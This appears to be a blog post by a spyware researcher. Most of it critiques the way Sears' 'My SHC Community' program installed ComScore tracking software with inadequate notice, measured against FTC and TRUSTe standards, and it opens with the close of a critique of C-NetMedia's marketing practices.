  • McAfee could remove its Hacker Safe certification from C-NetMedia sites. At present, the McAfee logo gives users the false impression that McAfee endorses C-Net and the McAfee vouches for the effectiveness of C-Net’s software. I gather neither is truly the case. Indeed, McAfee’s HackerSafe certifies some C-Net sites at the same time that McAfee’s SiteAdvisor characterizes rates those same sites as red. In my view, the SiteAdvisor rating better describes the view of security experts and better serves typical users. (Disclosure: I serve as a member of the Board of Advisors of McAfee SiteAdvisor.) (Update, February 14, 11:30am: McAfee has withdrawn HackerSafe certification of C-NetMedia sites.)
  • Microsoft could withdraw its Certified for Windows Vista certification on the basis of C-NetMedia’s violations of various ASC rules, as cited above. Anticipating this kind of harmful marketing practices, Microsoft’s certification rules provide ample basis for excluding C-Net on the basis of its deceptive advertising. Microsoft’s concern should be particularly acute because C-Net copied the layout and format of the Microsoft Antispyware site, because C-Net marketing partners trade on Microsoft’s brand name and product names, and because C-Net products worsen the experience of Windows users (i.e. by charging a fee for security software, when Microsoft provides similar software for free).
  • ClickBank could eject C-NetMedia from ClickBank’s affiliate network due to the pattern and practice of false and misleading ads placed by ClickBank affiliates in their promotion of C-Net offers. ClickBank’s Client Contract specifically prohibits fraudulent, deceptive, false or misleading information in advertising messages (clause 7.n.), and Clickbank reserves the right to immediately suspend violators (9.d.). But at present, C-NetMedia seems to remain a ClickBank clent in good standing.

Thanks to security researcher Janie Whitty for references on C-NetMedia’s trademark registrations.

The Sears "Community" Installation of ComScore

Late last month, Benjamin Googins (a senior researcher in the Anti-Spyware unit at Computer Associates) critiqued a ComScore installation performed by Sears’ “Sears Holdings Community” (“My SHC Community” or “SHC”). After reviewing the installation sequence, Ben concluded that the installation offered “very little mention of software or tracking” and otherwise fell short of CA and industry standards. I agree.

I write today to add my own critique. I begin by presenting the entire installation sequence in screenshots and video. I then explain why the limited notice provided falls far short of the standards the FTC has established. Finally, I show that Sears’ claims of adequate notice are demonstrably false.

The SHC Installation Sequence

The SHC installation proceeds in four steps:

1) An email from Sears after a user provides an address at Sears.com. In seven paragraphs plus a set of bullet points, 582 words in total, the email describes the SHC service in general terms. But the paragraphs’ topic sentences make no mention of any downloadable software, nor do the bullet points offer even a general description of what the software does. The only disclosure of the software’s effects comes midway through the fourth paragraph, where the program is described as “research software [that] will confidentially track your online browsing.” Sophisticated users who notice this text will probably abandon installation and proceed no further. But novices may mistakenly think the tracking is specific to Sears sites: SHC is a research program offered by Sears, so it is difficult to understand why tracking would occur elsewhere. Furthermore, the quoted text appears midway through a paragraph — in no way brought to users’ attention via topic sentences, headings, section formatting, or other labels. So it’s strikingly easy to miss.

2) If a user presses the “Join” button in the email, the user is taken to a SHC web-based installation sequence that further details SHC’s offerings. The first page describes some aspects of SHC in reasonable detail — with six prominent and clear bullet points. Yet nowhere does this text make any mention whatsoever of downloadable software, market research, or other tracking.

3) Pressing “Join” in the SHC screen takes a user to a “Welcome to My SHC Community” page which requests the user’s name, address, and household size. The page then presents a document labeled “Privacy Statement and User License Agreement” — 2,971 words of text, shown in a small scroll box with just ten lines visible, requiring fully 54 on-screen pages to view in full. The initial screen of text is consistent with the “privacy statement” heading: The visible text indicates that the document describes “what information [SHC] gather[s and] how [SHC] use[s] it” — typical subjects for a privacy policy. But despite the title and the first screen of text, the document actually proceeds to an entirely different subject, namely downloadable software and its far-reaching effects: The tenth page admits that the application “monitors all of the Internet behavior that occurs on the computer on which you install the application, including … filling a shopping basket, completing an application form, or checking your … personal financial or health information.” That’s remarkably comprehensive tracking — but mentioned in a disclosure few users are likely to find, since few users will read through to page 10 of the license.

    Within the Privacy Statement section, a link labeled “Printable version” offers users a full-screen version of the document, requiring “only” ten on-screen pages on my test PC. But nothing in the Privacy Statement caption or visible text suggests that the document merits such thorough review. Due to the labeling and the first screen of text, few users will see any need to click through to the full-screen version.

4) A user next arrives at a screen labeled “You’re almost finished!” Clicking “Next” triggers an ActiveX screen offering an unnamed program, signed by a company called TMRG, Inc. (nowhere previously mentioned in the installation sequence), authenticated by Thawte (part of VeriSign). Pressing Yes in the ActiveX yields an installation program with no further opportunity to cancel installation. Packet sniffer analysis confirms that ComScore software is installed.

See also a video of the installation sequence.

Relevant FTC Rules

The FTC’s recent settlements with Direct Revenue and Zango explain the disclosure and consent required before installing tracking software on users’ computers. To install such software on users’ PCs, vendors must obtain “express consent” — defined to require “clear[] and prominent[] disclos[ure of] the material terms of such software … including the nature and purpose of the program and the effects it will have … prior to the display of, and separate from, any final End User License Agreement.” “Clear[] and prominent[]” installations are defined to be those that are “unavoidable”, among other requirements.

The Sears SHC installation of ComScore falls far short of these rules. The limited SHC disclosure provided by email lacks the required specificity as to the nature, purpose, and effects of the ComScore software. Nor is that disclosure “unavoidable,” in that the key text appears midway through a paragraph, without a heading or even a topic sentence to alert users to the important (albeit vague) information that follows.

The disclosure provided within the Privacy Statement and User License Agreement also cannot satisfy the FTC’s requirements. The FTC demands a disclosure prior to … and separate from” any license agreement, whereas the only disclosure on this page occurs within the license agreement — exactly contrary to FTC instructions. Furthermore, users can easiliy overlook text on page ten of a lengthy license agreement. Such text is the opposite of “unavoidable.”

The SHC/ComScore violation could hardly be simpler. The FTC requires that software makers and distributors provide clear, prominent, unavoidable notice of the key terms. SHC’s installation of ComScore did nothing of the kind.

Other Installation Deficiencies

Beyond the problems set out above, the SHC installation also falls short in other important respects.

Failure to provide the promised additional information. Sears’ initial email promises that “during the registration process, you’ll learn more about this application software.” In fact, no such information is provided in the visible, on-screen installation sequence. Based on this false promise and users’ general experience, users may reasonably expect that the download link in step 4 will offer additional information about the software at issue, along with an opportunity to cancel installation if desired. In fact no such information is ever provided, nor do users have any such opportunity to cancel.

Choosing little-known product names that prevent users from learning more. The initial SHC email refers to the ComScore software as “VoiceFive.” The license agreement refers to the ComScore software as “our application” and “this application” without ever providing the application’s name. The ActiveX prompt gives no product name, and it reports company name “TMRG, Inc.” These conflicting names prevent users from figuring out what software they are asked to accept. Furthermore, none of these names gives users any easy way to determine what the software is or what it does. In contrast, if SHC used the company name “ComScore” or the product name “RelevantKnowledge,” users could run a search at any search engine. These confusing name-changes fit the trend among spyware vendors: Consider Direct Revenue’s dozens of names (AmazingMerchants, BestDeals, Coolshopping, IPInsight, Blackone Data, Tps108, VX2, etc.).

Critiquing Sears SHC’s Response

To my surprise, Sears defends the practices described above. In a reply to CA’s Ben Googins, Sears SHC VP Rob Harles claims that SHC “goes to great lengths to describe the tracking aspect.” In particular, Harles says “[c]lear notice appears in the invitation”, “on the first signup page”, and “in the privacy policy and user licensing agreement.”

I emphatically disagree. The email invitation provides vague notice midway through a lengthy paragraph that, according to its topic sentence, is otherwise about another topic. The first signup page makes no mention at all of any downloadable software. The privacy policy and license agreement describe the software only in the tenth page of text (where few users are likely to find the disclosures), and even then it fails to reference the program by name.

Harles further claims that the installer provides “a progress bar that they [users] can abort.” Again, I disagree. The video and screenshots are unambiguous: The SHC installer shows no progress bar and offers no abort button.

The Installation in Context

In June 2007, I showed other examples of ComScore software installing without consent — including multiple installations through security exploits. TRUSTe responded by removing ComScore’s RelevantKnowledge from TRUSTe’s Trusted Download Program for three months. Now that more than five months have elapsed, I expect that ComScore is seeking readmission. But the installation shown above stands in stark contrast to TRUSTe Trusted Download rules. See especially the requirement that primary notice be “clear, prominent and unavoidable” (Schedule A, sections 3.(a).(iii) and 1.(hh)).

Why so many problems for ComScore? The basic challenge is that users don’t want ComScore software. ComScore offers users nothing sufficiently valuable to compensate them for the serious privacy invasion ComScore’s software entails. There’s no good reason why users should share such detailed information about their browsing, purchasing, and other online activities. So time and time again, ComScore and its partners resort to trickery (or worse) to get their software onto users’ PCs.